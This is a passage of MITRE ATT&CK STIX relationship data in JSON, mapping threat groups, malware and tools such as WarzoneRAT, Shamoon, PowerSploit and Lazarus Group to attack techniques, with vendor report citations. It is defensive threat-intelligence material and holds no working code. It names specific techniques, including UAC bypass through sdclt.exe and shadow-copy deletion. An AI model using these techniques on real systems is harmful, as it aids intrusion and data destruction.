2017"},{"description":"Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.","url":"https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/","source_name":"Unit42 Emissary Panda May 2019"}],"modified":"2021-10-12T19:21:39.028Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used command-line interfaces for execution.(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Unit42 Emissary Panda May 2019)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--26eca19b-1c55-49b5-8a07-a4131c577874","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellMafia/PowerSploit","description":"PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.","source_name":"GitHub PowerSploit May 2012"},{"url":"http://powersploit.readthedocs.io","description":"PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.","source_name":"PowerSploit Documentation"}],"modified":"2019-04-24T23:43:08.194Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194)'s Find-AVSignature AntivirusBypass module can be used to locate single byte anti-virus signatures.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--26ecce49-13ab-43a9-a626-10dae30b6961","type":"relationship","created":"2021-09-07T19:31:27.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Siloscape Jun 2021","url":"https://unit42.paloaltonetworks.com/siloscape/","description":"Prizmant, D. (2021, June 7). Siloscape: First Known Malware Targeting Windows Containers to Compromise Cloud Environments. Retrieved June 9, 2021."}],"modified":"2021-09-07T19:31:27.869Z","description":"[Siloscape](https://attack.mitre.org/software/S0623) is executed after the attacker gains initial access to a Windows container using a known vulnerability.(Citation: Unit 42 Siloscape Jun 2021) ","relationship_type":"uses","source_ref":"malware--4fbd565b-bf55-4ac7-80b4-b183a7b64b9c","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--26f6de28-984d-4f79-9806-c13fe9e1f42d","type":"relationship","created":"2020-11-19T17:05:49.334Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."},{"source_name":"Zscaler Bazar September 2020","url":"https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware","description":"Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020."}],"modified":"2020-11-19T18:31:09.521Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can launch cmd.exe to perform reconnaissance commands.(Citation: Cybereason Bazar July 2020)(Citation: Zscaler Bazar September 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--26fcd59e-5758-47ec-8a5e-68150d1ff805","type":"relationship","created":"2019-01-30T15:19:14.922Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/","source_name":"Unit42 Azorult Nov 2018"}],"modified":"2019-07-26T23:22:28.351Z","description":"[Azorult](https://attack.mitre.org/software/S0344) can check for installed software on the system under the Registry key Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall.(Citation: Unit42 Azorult Nov 2018)","relationship_type":"uses","source_ref":"malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--26fd5ea0-6f63-4c0a-9a84-23e489c1161c","created":"2021-12-27T19:19:42.888Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point Warzone Feb 2020","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."},{"source_name":"Uptycs Warzone UAC Bypass November 2020","url":"https://www.uptycs.com/blog/warzone-rat-comes-with-uac-bypass-technique","description":"Mohanta, A. (2020, November 25). Warzone RAT comes with UAC bypass technique. Retrieved April 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) can use `sdclt.exe` to bypass UAC in Windows 10 to escalate privileges; for older Windows versions [WarzoneRAT](https://attack.mitre.org/software/S0670) can use the IFileOperation exploit to bypass the UAC module.(Citation: Check Point Warzone Feb 2020)(Citation: Uptycs Warzone UAC Bypass November 2020)","modified":"2022-04-15T14:50:38.809Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--26fe80fc-b6ec-4ca0-8693-d61e63901af3","created":"2024-09-25T20:18:40.616Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T20:18:57.433Z","description":"[Playcrypt](https://attack.mitre.org/software/S1162) can use AlphaVSS to delete shadow copies.(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"malware--28ad4983-151e-4e30-9792-768470e92b3e","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--270284ac-af4d-47dc-9218-26fbecd2ed9a","created":"2023-08-30T16:34:52.012Z","revoked":false,"external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-30T16:34:52.012Z","description":"The [GoldMax](https://attack.mitre.org/software/S0588) Linux variant has been executed with the `nohup` command to ignore hangup signals and continue to run if the terminal session was terminated.(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0","target_ref":"attack-pattern--4a2975db-414e-4c0c-bd92-775987514b4b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--270329a8-6d22-448c-bc58-e54d0846c08c","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. ","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2709cd56-6a75-487d-9b24-d931c053324a","type":"relationship","created":"2020-03-27T20:48:50.990Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf","description":"ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.","source_name":"ESET Gazer Aug 2017"},{"url":"https://securelist.com/introducing-whitebear/81638/","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.","source_name":"Securelist WhiteBear Aug 2017"}],"modified":"2020-03-27T20:48:50.990Z","description":"[Gazer](https://attack.mitre.org/software/S0168) uses custom encryption for C2 that uses RSA.(Citation: ESET Gazer Aug 2017)(Citation: Securelist WhiteBear Aug 2017)","relationship_type":"uses","source_ref":"malware--76abb3ef-dafd-4762-97cb-a35379429db4","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--270a7179-63db-479d-95e5-84dccbe1aa3a","created":"2022-04-12T15:09:05.420Z","x_mitre_version":"0.1","external_references":[{"source_name":"Talos Kimsuky Nov 2021","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used Blogspot pages for C2.(Citation: Talos Kimsuky Nov 2021)","modified":"2022-04-12T15:09:05.420Z","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--270c93ba-a3d4-4ace-8fad-691c64c13e2f","type":"relationship","created":"2020-08-24T14:07:40.464Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET PipeMon May 2020","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020."}],"modified":"2020-10-16T21:01:17.200Z","description":"[PipeMon](https://attack.mitre.org/software/S0501) can collect and send OS version and computer name as a part of its C2 beacon.(Citation: ESET PipeMon May 2020)","relationship_type":"uses","source_ref":"malware--8393dac0-0583-456a-9372-fd81691bca20","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--270d73c2-27fb-43ac-80b9-d4ea3fef2c06","type":"relationship","created":"2020-05-06T21:01:23.438Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:01:23.438Z","description":"[Attor](https://attack.mitre.org/software/S0438) can detect whether it is executed in some virtualized or emulated environment by searching for specific artifacts, such as communication with I/O ports and using VM-specific instructions.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27102940-8ec1-42ad-98e5-57dc24b572eb","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PsExec Russinovich","description":"Russinovich, M. (2004, June 28). PsExec. Retrieved December 17, 2015.","url":"http://windowsitpro.com/systems-management/psexec"}],"modified":"2020-03-20T19:20:27.692Z","description":"[PsExec](https://attack.mitre.org/software/S0029), a tool that has been used by adversaries, writes programs to the ADMIN$ network share to execute commands on remote systems.(Citation: PsExec Russinovich)","relationship_type":"uses","source_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--272068a3-47e3-42d6-8772-71d39c1976c3","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","source_name":"Palo Alto Shamoon Nov 2016"},{"description":"Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.","url":"https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/","source_name":"Unit 42 Shamoon3 2018"}],"modified":"2020-05-29T18:11:23.525Z","description":"[Shamoon](https://attack.mitre.org/software/S0140) obtains the victim's operating system version and keyboard layout and sends the information to the C2 server.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)","relationship_type":"uses","source_ref":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--27238f34-4478-4141-8f51-0ddb08ba134f","created":"2024-03-28T15:41:35.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye TRITON 2019","description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T15:13:47.158Z","description":"During the [C0032](https://attack.mitre.org/campaigns/C0032) campaign, [TEMP.Veles](https://attack.mitre.org/groups/G0088) used Virtual Private Server (VPS) infrastructure.(Citation: FireEye TRITON 2019)","relationship_type":"uses","source_ref":"campaign--7ec2826c-0bf0-4b47-acae-fd683431a4ca","target_ref":"attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2723c701-96d8-44e9-96ce-34c57e50a68e","created":"2024-03-15T20:50:03.020Z","revoked":false,"external_references":[{"source_name":"ESET Security Mispadu Facebook Ads 2019","description":"ESET Security. (2019, November 19). Mispadu: Advertisement for a discounted Unhappy Meal. Retrieved March 13, 2024.","url":"https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/"},{"source_name":"Metabase Q Mispadu Trojan 2023","description":"Garcia, F., Regalado, D. (2023, March 7). Inside Mispadu massive infection campaign in LATAM. Retrieved March 15, 2024.","url":"https://www.metabaseq.com/mispadu-banking-trojan/"},{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"},{"source_name":"SCILabs URSA/Mispadu Evolution 2023","description":"SCILabs. (2023, May 23). Evolution of banking trojan URSA/Mispadu. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/evolution-of-banking-trojan-ursa-mispadu/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-15T20:50:03.020Z","description":"[Mispadu](https://attack.mitre.org/software/S1122) has the ability to capture screenshots on compromised hosts.(Citation: SCILabs Malteiro 2021)(Citation: SCILabs URSA/Mispadu Evolution 2023)(Citation: ESET Security Mispadu Facebook Ads 2019)(Citation: Metabase Q Mispadu Trojan 2023) ","relationship_type":"uses","source_ref":"malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--27257b64-c32c-49cd-a4ce-f804c251829d","created":"2022-09-27T18:13:28.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-07T20:43:20.079Z","description":"For [Operation Wocao](https://attack.mitre.org/campaigns/C0014), the threat actors registered email accounts to use during the campaign.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2729dc4f-b327-4a13-a07c-39e8b1b39288","created":"2022-04-15T16:10:40.731Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T20:30:19.002Z","description":"[Zox](https://attack.mitre.org/software/S0672) has been encoded with Base64.(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"malware--fb28627c-d6ea-4c35-b138-ab5e96ae5445","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--272c29eb-9f83-4a90-a9b2-e823182204a7","type":"relationship","created":"2019-07-19T16:49:44.677Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2020-03-28T21:30:26.371Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) established persistence for [PoisonIvy](https://attack.mitre.org/software/S0012) by created a scheduled task.(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--272e3614-f257-4aff-9938-b03a2f16efbd","type":"relationship","created":"2020-11-10T19:09:21.176Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-11-10T19:09:21.176Z","description":"[Javali](https://attack.mitre.org/software/S0528) has been delivered via malicious links embedded in e-mails.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--64122557-5940-4271-9123-25bfc0c693db","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--27323a25-ef80-4519-b934-19f5ff090c70","created":"2019-04-12T16:59:08.082Z","x_mitre_version":"1.0","external_references":[{"source_name":"Novetta Blockbuster","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has used a custom secure delete function to overwrite file contents with data from heap memory.(Citation: Novetta Blockbuster)","modified":"2022-07-28T18:47:11.976Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27375058-3002-4fc2-a964-a1e336a10a2a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Putter Panda","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}],"modified":"2020-03-17T00:00:03.497Z","description":"[4H RAT](https://attack.mitre.org/software/S0065) sends an OS version identifier in its beacons.(Citation: CrowdStrike Putter Panda)","relationship_type":"uses","source_ref":"malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2738fdf5-b448-4c28-9918-dec89c31b2fc","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-16T16:57:38.873Z","description":"[JPIN](https://attack.mitre.org/software/S0201) can list running processes.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--de6cb631-52f6-4169-a73b-7965390b0c30","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--273ad96c-269f-4736-a3de-646713c15b50","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","source_name":"Proofpoint Leviathan Oct 2017"},{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}],"modified":"2020-03-11T17:35:34.111Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has downloaded additional scripts and files from adversary-controlled servers.(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--274c31fe-0724-4c26-b389-fedafa37f7df","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html","description":"Singh, S. et al.. (2018, March 13). Iranian 